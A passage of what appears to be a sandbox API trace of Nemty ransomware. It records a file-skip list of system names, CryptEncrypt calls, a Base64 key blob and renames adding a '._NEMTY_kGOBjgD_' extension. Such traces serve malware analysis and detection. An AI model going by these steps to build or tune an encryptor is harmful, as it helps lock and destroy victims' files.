nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.591] CloseHandle (hObject=0xffffffff) returned 0 [0155.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png._nemty_kgobjgd_")) returned 0 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.592] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a7068d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a7068d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="32.png", cAlternateFileName="")) returned 1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2=".") returned 1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="..") returned 1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="...") returned 1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="windows") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="$RECYCLE.BIN") returned 1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="rsa") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="NTDETECT.COM") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="ntldr") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="MSDOS.SYS") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="IO.SYS") returned -1 [0155.592] lstrcmpiW (lpString1="32.png", lpString2="boot.ini") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="boot.ini") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="ntuser.dat") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="desktop.ini") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="CONFIG.SYS") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="RECYCLER") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="BOOTSECT.BAK") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="bootmgr") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="programdata") returned -1 [0155.593] lstrcmpiW (lpString1="32.png", lpString2="appdata") returned -1 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="32.png", lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="32.png", lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="32.png", lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="32.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="32.png", lpUsedDefaultChar=0x0) returned 6 [0155.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.593] Sleep (dwMilliseconds=0x5) [0155.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10657850, dwHighDateTime=0x1d561e8)) [0155.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10657850, dwHighDateTime=0x1d561e8)) [0155.608] GetLastError () returned 0x5 [0155.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.608] GetLastError () returned 0x5 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.609] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.609] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="sfu7+WNshVgpV4ZCOa7D0770qbBlqIAr9Wv7UQlGfyFYESArFh87UrILm4UN1rJN\r\nphwGww+31JSyJpYi6QtbfGyG7vSo0vlcs92aMxKP8oC+skjQVFKaIcPzYI53wAGZ\r\nR96VdZZ7bvLc6DOx0iFbEGBSeOvixTo/fYCFG7PoEaf8hiUdxgKsvqY/8fi16Fup\r\nhVGhRi17My9O1sVcBiwSwZgPboAMZfeeaYxT9fy43AC8enIr6rRUeoDDzGonEVnA\r\n0VYl5mPR1aYiNWbXWNqF2g4gq3S1E1e9TxJaoJljMDlL6SPuO4hPsXbdLqkAewRv\r\ncIZuqBZzjbEzSjg9elbiDg==\r\n", pcchString=0x653e91c) returned 1 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.609] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\32.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.609] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 